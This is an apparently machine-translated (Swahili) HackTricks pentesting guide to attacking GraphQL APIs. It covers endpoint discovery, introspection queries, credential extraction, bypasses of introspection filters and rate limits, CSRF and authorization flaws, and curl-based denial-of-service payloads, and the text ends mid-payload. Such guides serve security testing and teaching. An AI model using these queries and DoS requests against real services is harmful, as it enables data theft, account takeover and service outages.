GraphQL
Reading time: 30 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Introduction
GraphQL inasisitizwa kama mbadala mzuri kwa REST API, ikitoa njia rahisi ya kuuliza data kutoka kwa backend. Kinyume na REST, ambayo mara nyingi inahitaji maombi mengi kupitia maeneo tofauti ili kukusanya data, GraphQL inaruhusu upatikanaji wa taarifa zote zinazohitajika kupitia ombio moja. Hii inarahisisha sana wanakuza kwa kupunguza ugumu wa michakato yao ya upatikanaji wa data.
GraphQL na Usalama
Kwa kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, udhaifu mpya wa usalama pia unatokea. Jambo muhimu la kuzingatia ni kwamba GraphQL haina mifumo ya uthibitishaji kwa chaguo-msingi. Ni jukumu la waendelezaji kutekeleza hatua hizo za usalama. Bila uthibitishaji sahihi, maeneo ya GraphQL yanaweza kufichua taarifa nyeti kwa watumiaji wasio na uthibitisho, na kuleta hatari kubwa ya usalama.
Mashambulizi ya Directory Brute Force na GraphQL
Ili kubaini mifano ya GraphQL iliyofichuliwa, ni mapendekezo kuingiza njia maalum katika mashambulizi ya directory brute force. Njia hizi ni:
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
Kugundua mifano ya GraphQL iliyo wazi kunaruhusu uchambuzi wa maswali yanayoungwa mkono. Hii ni muhimu kwa kuelewa data inayopatikana kupitia eneo hilo. Mfumo wa uchunguzi wa GraphQL unarahisisha hili kwa kuelezea maswali ambayo muundo unasaidia. Kwa maelezo zaidi kuhusu hili, rejelea nyaraka za GraphQL kuhusu uchunguzi: GraphQL: A query language for APIs.
Fingerprint
Zana graphw00f ina uwezo wa kugundua ni injini gani ya GraphQL inayotumika kwenye seva na kisha kuchapisha taarifa muhimu kwa mkaguzi wa usalama.
Universal queries
Ili kuangalia kama URL ni huduma ya GraphQL, ombio ya ulimwengu, query{__typename}
, inaweza kutumwa. Ikiwa jibu linajumuisha {"data": {"__typename": "Query"}}
, inathibitisha kuwa URL ina eneo la GraphQL. Njia hii inategemea uwanja wa GraphQL __typename
, ambao unaonyesha aina ya kitu kilichoulizwa.
query{__typename}
Msingi wa Uhesabu
Graphql kwa kawaida inasaidia GET, POST (x-www-form-urlencoded) na POST(json). Ingawa kwa usalama inashauriwa kuruhusu tu json ili kuzuia mashambulizi ya CSRF.
Utafiti
Ili kutumia utafiti kugundua taarifa za muundo, uliza uwanja wa __schema
. Uwanja huu upo kwenye aina ya mzizi ya maswali yote.
query={__schema{types{name,fields{name}}}}
Kwa hii query utaweza kupata majina ya aina zote zinazotumika:
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
Kwa hii query unaweza kutoa aina zote, mashamba yake, na hoja zake (na aina ya hoja). Hii itakuwa muhimu sana kujua jinsi ya kuhoji hifadhidata.
Makosa
Ni ya kuvutia kujua kama makosa yataonyeshwa kwani yatachangia na habari muhimu.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
Kukadiria Muundo wa Hifadhidata kupitia Introspection
tip
Ikiwa introspection imewezeshwa lakini swali hapo juu halifanyi kazi, jaribu kuondoa mwelekeo wa onOperation
, onFragment
, na onField
kutoka kwa muundo wa swali.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Uchunguzi wa ndani wa swali:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
Mstari wa mwisho wa msimbo ni ombi la graphql ambalo litatoa taarifa zote za meta kutoka kwa graphql (majina ya vitu, vigezo, aina...)
Ikiwa uchunguzi umewezeshwa unaweza kutumia GraphQL Voyager kuona katika GUI chaguzi zote.
Kuuliza
Sasa kwamba tunajua ni aina gani ya taarifa zimehifadhiwa ndani ya hifadhidata, hebu jaribu kuchukua baadhi ya thamani.
Katika uchunguzi unaweza kupata ni kitu gani unaweza kuuliza moja kwa moja (kwa sababu huwezi kuuliza kitu tu kwa sababu kinakuwepo). Katika picha ifuatayo unaweza kuona kwamba "queryType" inaitwa "Query" na kwamba moja ya maeneo ya kitu cha "Query" ni "flags", ambacho pia ni aina ya kitu. Hivyo unaweza kuuliza kitu cha bendera.
Kumbuka kwamba aina ya ombi "flags" ni "Flags", na kitu hiki kimefafanuliwa kama ifuatavyo:
Unaweza kuona kwamba vitu vya "Flags" vinajumuisha jina na thamani. Kisha unaweza kupata majina na thamani zote za bendera kwa ombi:
query={flags{name, value}}
Kumbuka kwamba ikiwa kipengele cha kuuliza ni aina ya msingi kama string kama katika mfano ufuatao
Unaweza tu kuuliza kwa:
query = { hiddenFlags }
Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya aina ya kitu "Query": "user" na "users".
Ikiwa vitu hivi havihitaji hoja yoyote kutafuta, unaweza kupata taarifa zote kutoka kwao kwa kuomba tu data unayotaka. Katika mfano huu kutoka Mtandao unaweza kutoa majina ya watumiaji na nywila zilizohifadhiwa:
Hata hivyo, katika mfano huu ikiwa unajaribu kufanya hivyo unapata kosa hili:
Inaonekana kwa namna fulani itatafuta kwa kutumia hoja "uid" ya aina Int.
Hata hivyo, tayari tulijua hilo, katika sehemu ya Basic Enumeration ombi lilipendekezwa ambalo lilitonyesha taarifa zote zinazohitajika: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
Ikiwa utasoma picha iliyotolewa wakati ninapokimbia ombi hilo utaona kwamba "user" alikuwa na arg "uid" ya aina Int.
Hivyo, kwa kufanya uid bruteforce kidogo niligundua kwamba katika uid=1 jina la mtumiaji na nywila vilipatikana:
query={user(uid:1){user,password}}
Kumbuka kwamba niligundua kuwa naweza kuomba parameta "user" na "password" kwa sababu ikiwa nitajaribu kutafuta kitu ambacho hakipo (query={user(uid:1){noExists}}
) napata kosa hili:
Na wakati wa awamu ya uainishaji niligundua kwamba kitu "dbuser" kilikuwa na kama maeneo "user" na "password.
Hila ya kutupa mfuatano wa ombi (shukrani kwa @BinaryShadow_)
Ikiwa unaweza kutafuta kwa aina ya mfuatano, kama: query={theusers(description: ""){username,password}}
na unafanya tafuta kwa mfuatano tupu itatoa data zote. (Kumbuka mfano huu hauhusiani na mfano wa mafunzo, kwa mfano huu dhani unaweza kutafuta kwa kutumia "theusers" kwa uwanja wa Mfuatano unaoitwa "description").
Kutafuta
Katika mpangilio huu, hifadhi ya data ina watu na filamu. Watu wanatambulika kwa barua pepe na jina; filamu kwa jina na ukadiriaji. Watu wanaweza kuwa marafiki na kila mmoja na pia wana filamu, wakionyesha uhusiano ndani ya hifadhi ya data.
Unaweza kutafuta watu kwa jina na kupata barua zao za pepe:
{
searchPerson(name: "John Doe") {
email
}
}
Unaweza kutafuta watu kwa jina na kupata filamu zao zilizosajiliwa:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Kumbuka jinsi inavyoonyeshwa kupata name
ya subscribedMovies
ya mtu.
Unaweza pia kutafuta vitu vingi kwa wakati mmoja. Katika kesi hii, kutafutwa filamu 2 kunafanywa:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
Au hata uhusiano wa vitu tofauti kadhaa kwa kutumia majina mbadala:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
Mabadiliko yanatumika kufanya mabadiliko katika upande wa seva.
Katika introspection unaweza kupata mabadiliko iliyotangazwa. Katika picha ifuatayo, "MutationType" inaitwa "Mutation" na kitu cha "Mutation" kina majina ya mabadiliko (kama "addPerson" katika kesi hii):
Katika mpangilio huu, database ina watu na filamu. Watu wanatambulishwa kwa barua pepe zao na jina; filamu kwa jina na kadirio. Watu wanaweza kuwa marafiki na kila mmoja na pia wana filamu, ikionyesha uhusiano ndani ya database.
Mabadiliko ya kuunda mpya filamu ndani ya database yanaweza kuwa kama ifuatavyo (katika mfano huu mabadiliko yanaitwa addMovie
):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Kumbuka jinsi thamani na aina ya data zinavyoonyeshwa katika ombi.
Zaidi ya hayo, hifadhidata inasaidia operesheni ya mutation, inayoitwa addPerson
, ambayo inaruhusu uundaji wa persons pamoja na uhusiano wao na friends na movies zilizopo. Ni muhimu kutambua kwamba marafiki na filamu lazima ziwepo tayari katika hifadhidata kabla ya kuziunganisha na mtu mpya aliyeundwa.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Directive Overloading
Kama ilivyoelezwa katika moja ya vulns zilizoelezwa katika ripoti hii, overload ya directive inamaanisha kuita directive hata mara milioni ili kufanya server itumie operesheni hadi iwezekane kuifanya DoS.
Batching brute-force katika ombi 1 la API
Taarifa hii ilichukuliwa kutoka https://lab.wallarm.com/graphql-batching-attack/.
Uthibitishaji kupitia GraphQL API kwa kutuma maswali mengi kwa wakati mmoja na akidi tofauti ili kuyakagua. Ni shambulio la kawaida la brute force, lakini sasa inawezekana kutuma zaidi ya jozi moja ya login/password kwa kila ombi la HTTP kwa sababu ya kipengele cha batching cha GraphQL. Njia hii itawadanganya programu za ufuatiliaji wa kiwango cha nje kufikiria kila kitu kiko sawa na hakuna bot ya brute-forcing inayojaribu kukisia nywila.
Hapa chini unaweza kupata onyesho rahisi la ombi la uthibitishaji wa programu, lenye jozi 3 tofauti za barua pepe/nywila kwa wakati mmoja. Kwa wazi inawezekana kutuma maelfu katika ombi moja kwa njia ile ile:
Kama tunavyoona kutoka kwenye picha ya majibu, maombi ya kwanza na ya tatu yalirudisha null na kuonyesha taarifa zinazohusiana katika sehemu ya error. Mabadiliko ya pili yalikuwa na data sahihi ya uthibitishaji na jibu lina tokeni sahihi ya kikao cha uthibitishaji.
GraphQL Bila Introspection
Zaidi na zaidi mipaka ya graphql inazima introspection. Hata hivyo, makosa ambayo graphql inatoa wakati ombi lisilotarajiwa linapokea yanatosha kwa zana kama clairvoyance kuunda sehemu kubwa ya schema.
Zaidi ya hayo, nyongeza ya Burp Suite GraphQuail inachunguza ombii za GraphQL API zinazopita Burp na kujenga schema ya ndani ya GraphQL na kila swali jipya inaloona. Inaweza pia kufichua schema kwa GraphiQL na Voyager. Nyongeza inarudisha jibu bandia inapopokea ombi la introspection. Kama matokeo, GraphQuail inaonyesha maswali yote, hoja, na maeneo yanayopatikana kwa matumizi ndani ya API. Kwa maelezo zaidi angalia hii.
Orodha nzuri ya maneno kugundua vitu vya GraphQL inaweza kupatikana hapa.
Kupita ulinzi wa introspection wa GraphQL
Ili kupita vizuizi kwenye maswali ya introspection katika APIs, kuingiza herufi maalum baada ya neno la __schema
kunaonekana kuwa na ufanisi. Njia hii inatumia makosa ya kawaida ya waendelezaji katika mifumo ya regex ambayo inakusudia kuzuia introspection kwa kuzingatia neno la __schema
. Kwa kuongeza herufi kama nafasi, mistari mipya, na alama za koma, ambazo GraphQL inapuuzilia mbali lakini huenda hazikuhesabiwa katika regex, vizuizi vinaweza kupitishwa. Kwa mfano, ombi la introspection lenye mstari mpya baada ya __schema
linaweza kupita ulinzi kama huo:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
Ikiwa haifanikiwa, fikiria mbinu mbadala za ombi, kama vile GET requests au POST na x-www-form-urlencoded
, kwani vizuizi vinaweza kuathiri tu ombi za POST.
Jaribu WebSockets
Kama ilivyotajwa katika hili mazungumzo, angalia kama inaweza kuwa inawezekana kuungana na graphQL kupitia WebSockets kwani hiyo inaweza kukuruhusu kupita WAF inayoweza kuwepo na kufanya mawasiliano ya websocket kuvuja muundo wa graphQL:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
Kugundua Miundo ya GraphQL Iliyo wazi
Wakati uchunguzi umezimwa, kuchunguza msimbo wa chanzo wa tovuti kwa maswali yaliyoandaliwa mapema katika maktaba za JavaScript ni mkakati mzuri. Maswali haya yanaweza kupatikana kwa kutumia kichupo cha Sources
katika zana za maendeleo, na kutoa maarifa kuhusu muundo wa API na kufichua maswali nyeti yaliyo wazi. Amri za kutafuta ndani ya zana za maendeleo ni:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
CSRF katika GraphQL
Ikiwa hujui CSRF ni nini soma ukurasa ufuatao:
CSRF (Cross Site Request Forgery)
Nje huko utaweza kupata mwisho kadhaa wa GraphQL iliyowekwa bila token za CSRF.
Kumbuka kwamba maombi ya GraphQL kwa kawaida hutumwa kupitia maombi ya POST kwa kutumia Aina ya Maudhui application/json
.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Hata hivyo, sehemu nyingi za GraphQL pia zinasaidia form-urlencoded
POST requests:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Kwa hivyo, kama ombi la CSRF kama zile za awali zinatumwa bila maombi ya preflight, inawezekana kufanya mabadiliko katika GraphQL kwa kutumia CSRF.
Hata hivyo, kumbuka kwamba thamani mpya ya default ya kuki ya lippu ya samesite
ya Chrome ni Lax
. Hii inamaanisha kwamba kuki itatumwa tu kutoka kwa wavuti ya upande wa tatu katika maombi ya GET.
Kumbuka kwamba kwa kawaida inawezekana kutuma ombio maombi pia kama GET maombi na tokeni ya CSRF huenda isithibitishwe katika ombi la GET.
Pia, kutumia XS-Search shambulio kunaweza kuwa na uwezo wa kuhamasisha maudhui kutoka kwa kiunganishi cha GraphQL kwa kutumia akidi za mtumiaji.
Kwa maelezo zaidi angalia posti ya asili hapa.
Utekaji wa WebSocket wa tovuti tofauti katika GraphQL
Kama ilivyo na udhaifu wa CRSF unaotumia graphQL, pia inawezekana kufanya utekaji wa WebSocket wa tovuti tofauti ili kutumia uthibitishaji na GraphQL kwa kuki zisizo na ulinzi na kumfanya mtumiaji afanye vitendo visivyotarajiwa katika GraphQL.
Kwa maelezo zaidi angalia:
Uidhinishaji katika GraphQL
Mifumo mingi ya GraphQL iliyofafanuliwa kwenye kiunganishi inaweza kuangalia tu uthibitishaji wa mombaji lakini si uidhinishaji.
Kubadilisha mabadiliko ya ingizo la ombi kunaweza kusababisha maelezo nyeti ya akaunti kuvuja.
Mabadiliko yanaweza hata kusababisha kuchukuliwa kwa akaunti kwa kujaribu kubadilisha data nyingine za akaunti.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Bypass authorization in GraphQL
Chaining queries pamoja na inaweza kupita mfumo dhaifu wa uthibitishaji.
Katika mfano ulio hapa chini unaweza kuona kwamba operesheni ni "forgotPassword" na kwamba inapaswa kutekeleza tu ombi la forgotPassword lililohusishwa nalo. Hii inaweza kupitishwa kwa kuongeza ombi mwishoni, katika kesi hii tunaongeza "register" na variable ya mtumiaji ili mfumo ujiandikishe kama mtumiaji mpya.
Bypassing Rate Limits Using Aliases in GraphQL
Katika GraphQL, aliases ni kipengele chenye nguvu ambacho kinaruhusu kupewa majina mali wazi unapofanya ombi la API. Uwezo huu ni muhimu sana kwa kupata mfano mwingi wa aina moja ya kitu ndani ya ombi moja. Aliases zinaweza kutumika kushinda kikomo kinachozuia vitu vya GraphQL kuwa na mali nyingi zenye jina moja.
Kwa ufahamu wa kina wa aliases za GraphQL, rasilimali ifuatayo inapendekezwa: Aliases.
Ingawa kusudi kuu la aliases ni kupunguza hitaji la simu nyingi za API, matumizi yasiyokusudiwa yamegundulika ambapo aliases zinaweza kutumika kutekeleza mashambulizi ya nguvu ya kikatili kwenye kiunganishi cha GraphQL. Hii inawezekana kwa sababu baadhi ya viunganishi vinahifadhiwa na vikwazo vya kiwango vya kiwango vinavyokusudia kuzuia mashambulizi ya nguvu ya kikatili kwa kupunguza idadi ya maombi ya HTTP. Hata hivyo, vikwazo hivi vya kiwango vinaweza kutokuweka akilini idadi ya operesheni ndani ya kila ombi. Kwa kuwa aliases zinaruhusu kujumuisha maswali mengi katika ombi moja la HTTP, zinaweza kupita hatua kama hizo za kupunguza kiwango.
Fikiria mfano uliopewa hapa chini, unaoonyesha jinsi maswali yaliyopewa jina yanaweza kutumika kuthibitisha uhalali wa nambari za punguzo za duka. Njia hii inaweza kupita vikwazo vya kiwango kwani inakusanya maswali kadhaa katika ombi moja la HTTP, ikiruhusu kuthibitisha nambari nyingi za punguzo kwa wakati mmoja.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS katika GraphQL
Kupakia Majina
Kupakia Majina ni udhaifu wa GraphQL ambapo washambuliaji wanapakia ombi kwa majina mengi kwa ajili ya uwanja mmoja, na kusababisha mchakato wa nyuma kutekeleza uwanja huo mara kwa mara. Hii inaweza kuzidisha rasilimali za seva, na kusababisha Denial of Service (DoS). Kwa mfano, katika ombi hapa chini, uwanja ule ule (expensiveField
) unahitajiwa mara 1,000 kwa kutumia majina, na kulazimisha mchakato wa nyuma kuuhesabu mara 1,000, ambayo inaweza kuchosha CPU au kumbukumbu:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
Ili kupunguza hili, tekeleza mipaka ya idadi ya alias, uchambuzi wa ugumu wa swali, au mipaka ya kiwango ili kuzuia matumizi mabaya ya rasilimali.
Array-based Query Batching
Array-based Query Batching ni udhaifu ambapo API ya GraphQL inaruhusu kuunganisha maswali mengi katika ombi moja, ikimwezesha mshambuliaji kutuma idadi kubwa ya maswali kwa wakati mmoja. Hii inaweza kujaa nyuma kwa kutekeleza maswali yote yaliyounganishwa kwa wakati mmoja, ikitumia rasilimali nyingi (CPU, kumbukumbu, muunganisho wa hifadhidata) na kwa uwezekano kusababisha Denial of Service (DoS). Ikiwa hakuna kikomo kilichopo kwenye idadi ya maswali katika kundi, mshambuliaji anaweza kutumia hili kudhoofisha upatikanaji wa huduma.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
Katika mfano huu, maswali 10 tofauti yanakusanywa katika ombi moja, yakilazimisha seva kutekeleza yote kwa wakati mmoja. Ikiwa itatumika na ukubwa mkubwa wa kundi au maswali yanayohitaji rasilimali nyingi, inaweza kuleta mzigo kwa seva.
Uthibitisho wa Ujumbe wa Overloading
Uthibitisho wa Ujumbe wa Overloading hutokea wakati seva ya GraphQL inaruhusu maswali yenye maagizo mengi, yaliyorudiwa kupita kiasi. Hii inaweza kuleta mzigo kwa parser na mtendaji wa seva, hasa ikiwa seva inashughulikia mara kwa mara mantiki ile ile ya maagizo. Bila uthibitisho sahihi au mipaka, mshambuliaji anaweza kutumia hii kwa kuunda swali lenye maagizo mengi yaliyorudiwa ili kusababisha matumizi makubwa ya rasilimali au kumbukumbu, na kusababisha Denial of Service (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
Kumbuka kwamba katika mfano uliopita @aa
ni mwelekeo wa kawaida ambao huenda usijulikane. Mwelekeo wa kawaida ambao mara nyingi upo ni @include
:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
Unaweza pia kutuma ombi la uchunguzi kugundua maagizo yote yaliyotangazwa:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
Na kisha tumia baadhi ya zile za kawaida.
Udhaifu wa Kurudiwa kwa Sehemu
Kurudiwa kwa Sehemu ni udhaifu ambapo seva ya GraphQL inaruhusu maswali yenye sehemu ile ile kurudiwa mara nyingi. Hii inamfanya seva kutatua sehemu hiyo kwa njia isiyo ya lazima kwa kila mfano, ikitumia rasilimali nyingi (CPU, kumbukumbu, na simu za hifadhidata). Mshambuliaji anaweza kuunda maswali yenye mamia au maelfu ya sehemu zilizorudiwa, na kusababisha mzigo mkubwa na huenda ikasababisha Kukataa Huduma (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 